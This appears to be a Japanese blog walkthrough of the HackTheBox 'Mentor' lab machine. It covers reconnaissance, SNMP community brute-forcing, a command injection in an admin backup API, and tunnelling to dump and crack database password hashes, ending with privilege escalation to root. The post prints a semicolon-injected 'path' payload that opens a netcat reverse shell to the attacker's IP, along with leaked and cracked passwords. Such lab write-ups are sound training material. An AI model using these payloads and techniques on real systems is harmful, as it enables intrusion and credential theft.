🔥

HackTheBox Mentor

2023/03/14に公開

Mentor

侵入

nmap

┌──(kali㉿kali)-[~/Desktop/Mentor]
└─$ sudo nmap -Pn -n -v --reason -sS -p- --min-rate=1000 -A 10.10.11.193 -oN nmap.log

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 c73bfc3cf9ceee8b4818d5d1af8ec2bb (ECDSA)
|_  256 4440084c0ecbd4f18e7eeda85c68a4f7 (ED25519)
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://mentorquotes.htb/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.52 (Ubuntu)

22番と80番を確認

web


特に情報はない

wfuzz

恐らくサブドメインが存在していると思うので、探索してみる

┌──(kali㉿kali)-[~/Desktop/Mentor]
└─$ wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.mentorquotes.htb" -u mentorquotes.htb -t 100 --hc 302
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://mentorquotes.htb/
Total requests: 114441

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                        
=====================================================================

000000051:   404        0 L      2 W        22 Ch       "api" 

Total time: 0
Processed Requests: 114441
Filtered Requests: 114436
Requests/sec.: 0

調査の結果「api」を発見したので、/etc/hostsに記述しておく

gobuster

発見した api.mentorquotes.htb に対してディレクトリ探索を行う

┌──(kali㉿kali)-[~/Desktop/Mentor]
└─$ gobuster dir -u http://api.mentorquotes.htb -w /usr/share/wordlists/dirb/common.txt -o gobuster-api.log
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://api.mentorquotes.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.3
[+] Timeout:                 10s
===============================================================
2023/01/14 23:56:47 Starting gobuster in directory enumeration mode
===============================================================
/admin                (Status: 307) [Size: 0] [--> http://api.mentorquotes.htb/admin/]
/docs                 (Status: 200) [Size: 969]
/quotes               (Status: 307) [Size: 0] [--> http://api.mentorquotes.htb/quotes/]
/server-status        (Status: 403) [Size: 285]
/users                (Status: 307) [Size: 0] [--> http://api.mentorquotes.htb/users/]
===============================================================
2023/01/14 23:58:45 Finished
===============================================================

docs を発見

api.mentorquotes.htb

docs にアクセスしてみる

api(OpenAPI)の説明がされている
試しにユーザを作成してみる

POST /auth/signup HTTP/1.1
Host: api.mentorquotes.htb
Accept: application/json
Referer: http://api.mentorquotes.htb/docs
Content-Type: application/json
Content-Length: 90
Connection: close

{
  "email": "test@mentorquotes.htb",
  "username": "testuser",
  "password": "password"
}

応答を確認

HTTP/1.1 201 Created
Server: uvicorn
content-length: 62
content-type: application/json
access-control-allow-origin: *
access-control-allow-credentials: true
Connection: close

{
  "id":4,
  "email":"test@mentorquotes.htb",
  "username":"testuser"
}

うまく作成できたことがわかる
次に、今作ったユーザでログインしてみる

POST /auth/login HTTP/1.1
Accept: application/json
Referer: http://api.mentorquotes.htb/docs
Content-Type: application/json
Content-Length: 90
Connection: close

{
  "email": "test@mentorquotes.htb",
  "username": "testuser",
  "password": "password"
}

応答確認

HTTP/1.1 200 OK
Server: uvicorn
content-length: 157
content-type: application/json
access-control-allow-origin: *
access-control-allow-credentials: true
Connection: close

"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InRlc3R1c2VyIiwiZW1haWwiOiJ0ZXN0QG1lbnRvcnF1b3Rlcy5odGIifQ.MVjyOtW6YHGnqmQoNV5IUHRVhpaOeesojFNuhIWu2Ck"

認証が成功し、トークンが出力された
トークンを使用し、API を触ってみる

GET /users/ HTTP/1.1
Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InRlc3R1c2VyIiwiZW1haWwiOiJ0ZXN0QG1lbnRvcnF1b3Rlcy5odGIifQ.MVjyOtW6YHGnqmQoNV5IUHRVhpaOeesojFNuhIWu2Ck
Accept: application/json
Referer: http://api.mentorquotes.htb/docs
Connection: close
Content-Length: 2

Authorization にトークンを設定している

HTTP/1.1 403 Forbidden
Server: uvicorn
content-length: 54
content-type: application/json
Connection: close

{
  "detail":"Only admin users can access this resource"
}

しかし、admin 権限ではないため、弾かれてしまった
とりあえず、james のメールアドレスがわかっているので、james でのログインを目指す

{
  "email": "james@mentorquotes.htb",
  "username": "james",
  "password": "password"
}

とりあえず、パスワードは適当に入力

{
  "detail":"Not authorized!"
}

当然のように弾かれてしまった
次に、james ユーザを新たに作成できないか試してみる

{
  "email": "james@mentorquotes.htb",
  "username": "james",
  "password": "password"
}

今回もパスワードは適当に入力

{
  "detail":"User already exists! "
}

やはり、ユーザが既に存在しているとエラーが出てしまった
どうにか作成したいので、メールアドレスだけを変更して新規登録してみる

{
  "email": "test@mentorquotes.htb",
  "username": "james",
  "password": "password"
}

test@mentorquotes.htb に変更

{
  "id":5,
  "email":"test@mentorquotes.htb",
  "username":"james"
}

作成できた
先程と同じようにログインし、トークンを取得。その後、users にアクセスできるか試してみる

{
  "detail":"Only admin users can access this resource"
}

全く同じエラーが出てしまった。

snmp

手がかりを掴めない時間が続き、そういえば udp スキャンしていないことに気づいたので、してみた

┌──(kali㉿kali)-[~/Desktop/Mentor]
└─$ sudo nmap -sU -T4 -Pn 10.10.11.193                                       

PORT      STATE         SERVICE
68/udp    open|filtered dhcpc
161/udp   open          snmp
16402/udp open|filtered unknown
32777/udp open|filtered sometimes-rpc18
37813/udp open|filtered unknown
49226/udp open|filtered unknown

すると、161番が開いていることを確認
snmpbrute を実行し、コミュニティを列挙する

┌──(kali㉿kali)-[~/Desktop/Mentor/SNMP-Brute]
└─$ python3 snmpbrute.py -t 10.10.11.193

...
10.10.11.193 : 161      Version (v2c):  internal
10.10.11.193 : 161      Version (v1):   public
10.10.11.193 : 161      Version (v2c):  public
10.10.11.193 : 161      Version (v1):   public
10.10.11.193 : 161      Version (v2c):  public
...

internal と public を発見
コミュニティを発見することができたので、snmpwalk を実行する

┌──(kali㉿kali)-[~/Desktop/Mentor]
└─$ snmpwalk -c internal -v2c 10.10.11.193
...
iso.3.6.1.2.1.25.4.2.1.5.2098 = ""
iso.3.6.1.2.1.25.4.2.1.5.2099 = ""
iso.3.6.1.2.1.25.4.2.1.5.2125 = STRING: "/usr/local/bin/login.py kj23sadkj123as0-d213"
iso.3.6.1.2.1.25.4.2.1.5.2177 = ""
iso.3.6.1.2.1.25.4.2.1.5.2188 = ""
...

login.py とともにパスワードらしき文字列を発見
再度、ログインを試してみる

{
  "email": "james@mentorquotes.htb",
  "username": "james",
  "password": "kj23sadkj123as0-d213"
}

応答確認

"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJ
qYW1lc0BtZW50b3JxdW90ZXMuaHRiIn0.peGpmshcF666bimHkYIBKQN7hj5m785uKcjwbD--Na0"

ログインが成功し、トークンが出力された
実際に、users で使用してみる

{
  "id":1,
  "email":"james@mentorquotes.htb",
  "username":"james"
},
{
  "id":2,
  "email":"svc@mentorquotes.htb",
  "username":"service_acc"
}

権限で弾かれることなく、アクセスできた

admin

ディレクトリ探索の際に、admin ディレクトリを発見していたので、アクセスする
当然のように認証は必須

{
  "admin_funcs":{
    "check db connection":"/check",
    "backup the application":"/backup"
  }
}

認証に成功すると、check と backup という2つのディレクトリが出力された
check にアクセスしてみる

{
  "details":"Not implemented yet!"
}

まだ実装されていないというメッセージが返ってきた
次に、backup にアクセスしてみる

{
  "detail":"Method Not Allowed"
}

メソッドが許可されていないらしいので、POST に変更してみる

{
  "detail":[
    {
      "loc":[
        "body"
      ],
      "msg":"field required",
      "type":"value_error.missing"
    }
  ]
}

何かしらの値が必要だと言われた
空の json を送信してみる

{
  "detail":[
    {
      "loc":[
        "body",
	"path"
      ],
      "msg":"field required",
      "type":"value_error.missing"
    }
  ]
}

すると、body と path が必要であることがわかった
適当にリクエストを作成

{
  "body":"body",
  "path":"/path"
}

送信してみる

{
  "INFO":"Done!"
}

何がうまくいったのかよくわからないが、Done と返ってきた
詳細はわからないが、コマンドが実行できるか試してみる

{
  "body":"body",
  "path":"/path;ping -c 2 10.10.14.6;"
}

kali へ ping を送るようにする

┌──(kali㉿kali)-[~/Desktop/Mentor]
└─$ sudo tcpdump -i tun0 icmp                            
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
00:46:22.960656 IP mentorquotes.htb > 10.10.14.6: ICMP echo request, id 9984, seq 0, length 64
00:46:22.960677 IP 10.10.14.6 > mentorquotes.htb: ICMP echo reply, id 9984, seq 0, length 64

ping が通ったので、コマンドが実行できたことがわかる

root(web) としてのシェル

reverse shell

先ほどのコマンド実行を利用し、リバースシェルを取得する

{
  "body":"body",
  "path":"/path;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.6 4444 >/tmp/f;"
}

kali で待ち受ける

┌──(kali㉿kali)-[~/Desktop/Mentor]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.11.193] 46231
/bin/sh: can't access tty; job control turned off
/app # whoami
root

侵入成功

列挙

db.py

調べていくと、/app/app の中に、db.py を発見

/app/app # ls -l
-rw-r--r--    1 root     root             0 Jun  4  2022 __init__.py
drwxr-xr-x    1 root     root          4096 Nov 10 16:00 __pycache__
drwxr-xr-x    1 root     root          4096 Nov 10 16:00 api
-rw-r--r--    1 root     root             0 Jun  4  2022 config.py
-rw-r--r--    1 root     root          1001 Jun  7  2022 db.py
-rw-r--r--    1 root     root          1149 Jun  4  2022 main.py
-rw-r--r--    1 root     root           704 Jun  4  2022 requirements.txt

内容を確認していく

DATABASE_URL = os.getenv("DATABASE_URL", "postgresql://postgres:postgres@172.22.0.1/mentorquotes_db")

PostgreSQL の情報を発見
172 で始まるアドレスなので、Chisel でトンネリングしていく
まずは、Kali側でサーバモードを実行する

┌──(kali㉿kali)-[~/Desktop/HackTheBox/tool]
└─$ ./chisel_1.7.7_linux_amd64 server -p 8000 --reverse 

そして、マシン側で、クライアントとして実行

/tmp # ./chisel_1.7.7_linux_amd64 client 10.10.14.6:8000 R:5432:172.22.0.1:5432

ログを確認

┌──(kali㉿kali)-[~/Desktop/HackTheBox/tool]
└─$ ./chisel_1.7.7_linux_amd64 server -p 8000 --reverse 
2023/01/21 21:42:54 server: Reverse tunnelling enabled
2023/01/21 21:42:54 server: Fingerprint akLxXwrHlsELci+CE9MMEXPcFyFSBHh1dzsgd4WIlGk=
2023/01/21 21:42:54 server: Listening on http://0.0.0.0:8000
2023/01/21 21:43:56 server: session#1: tun: proxy#R:5432=>172.22.0.1:5432: Listening

接続できていることがわかる
接続できたので、psql にアクセスしていく

┌──(kali㉿kali)-[~/Desktop/Mentor]
└─$ psql -h 10.10.14.6 -U "postgres" -p 5432
Password for user postgres: 
psql (15.1 (Debian 15.1-1), server 13.7 (Debian 13.7-1.pgdg110+1))
Type "help" for help.

postgres=#

アクセスできた
データベースを指定する

postgres=# \c mentorquotes_db
psql (15.1 (Debian 15.1-1), server 13.7 (Debian 13.7-1.pgdg110+1))
You are now connected to database "mentorquotes_db" as user "postgres".
mentorquotes_db=#

データベースも指定できた
テーブルを検索

mentorquotes_db=# \d
              List of relations
 Schema |     Name      |   Type   |  Owner   
--------+---------------+----------+----------
 public | cmd_exec      | table    | postgres
 public | quotes        | table    | postgres
 public | quotes_id_seq | sequence | postgres
 public | users         | table    | postgres
 public | users_id_seq  | sequence | postgres
(5 rows)

users を発見
select 文を実行する

mentorquotes_db=# select * from users;
 id |         email          |  username   |             password             
----+------------------------+-------------+----------------------------------
  1 | james@mentorquotes.htb | james       | 7ccdcd8c05b59add9c198d492b36a503
  2 | svc@mentorquotes.htb   | service_acc | 53f22d0dfa10dce7e29cd31f4f953fd8
(2 rows)

password がハッシュ化された状態で出力された
ハッシュ化はCrackStationによりすぐに、解読することができた

svc としてのシェル

SSH

解読したパスワードで、ログインする(パスワード : 123meunomeeivani)

┌──(kali㉿kali)-[~/Desktop/Mentor]
└─$ ssh svc@10.10.11.193             
svc@10.10.11.193's password:

svc@mentor:~$ whoami
svc

シェルの取得に成功

user フラグ取得

svc@mentor:~$ cat user.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

フラグ取得成功

列挙

linpeas

とりあえず、linpeasを実行しておく

svc@mentor:/tmp$ ./linpeas.sh
...
╔══════════╣ Analyzing SNMP Files (limit 70)
-rw-r--r-- 1 root root 3453 Jun  5  2022 /etc/snmp/snmpd.conf                                                     
# rocommunity: a SNMPv1/SNMPv2c read-only access community name
rocommunity  public default -V systemonly
rocommunity6 public default -V systemonly
-rw------- 1 Debian-snmp Debian-snmp 1268 Jan 21 12:39 /var/lib/snmp/snmpd.conf
...

色々気になる点はあったが、snmpd.confファイルを確認することにする

svc@mentor:~$ cat /etc/snmp/snmpd.conf
...
createUser bootstrap MD5 SuperSecurePassword123__ DES
rouser bootstrap priv
...

SuperSecurePassword123__ という文字を発見

james としてのシェル

su

root ユーザの認証に試してみたが、うまくいかなかったので、james で試してみる

svc@mentor:~$ su james
Password: 
james@mentor:/home/svc$ whoami
james

james ユーザに切り替わることができた

権限昇格

sudo -l

james@mentor:~$ sudo -l
[sudo] password for james: 
Matching Defaults entries for james on mentor:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User james may run the following commands on mentor:
    (ALL) /bin/sh

/bin/sh が使えてしまうらしい

root としてのシェル

/bin/sh

そのまま実行する

james@mentor:~$ sudo /bin/sh
# whoami
root

権限昇格成功

root フラグ取得

# cat root.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

攻略完了

所感

今回のボックスは、snmpの総当たりがその時の調子によって出力される値が変わってしまうことを知らず、2回実行しinternalを見つけることができなかったので、諦めて他を列挙していたため、時間がかかってしまった。最終的に、jamesユーザになって、sudoが使えるというオチだったが、平行権限移動が2回あるのは初めてのような気がするので、いい経験になった。linpeasは出力が多すぎてあまり読めない点も多いが、面倒臭がらずしっかり読むようにしていきたい。

Discussion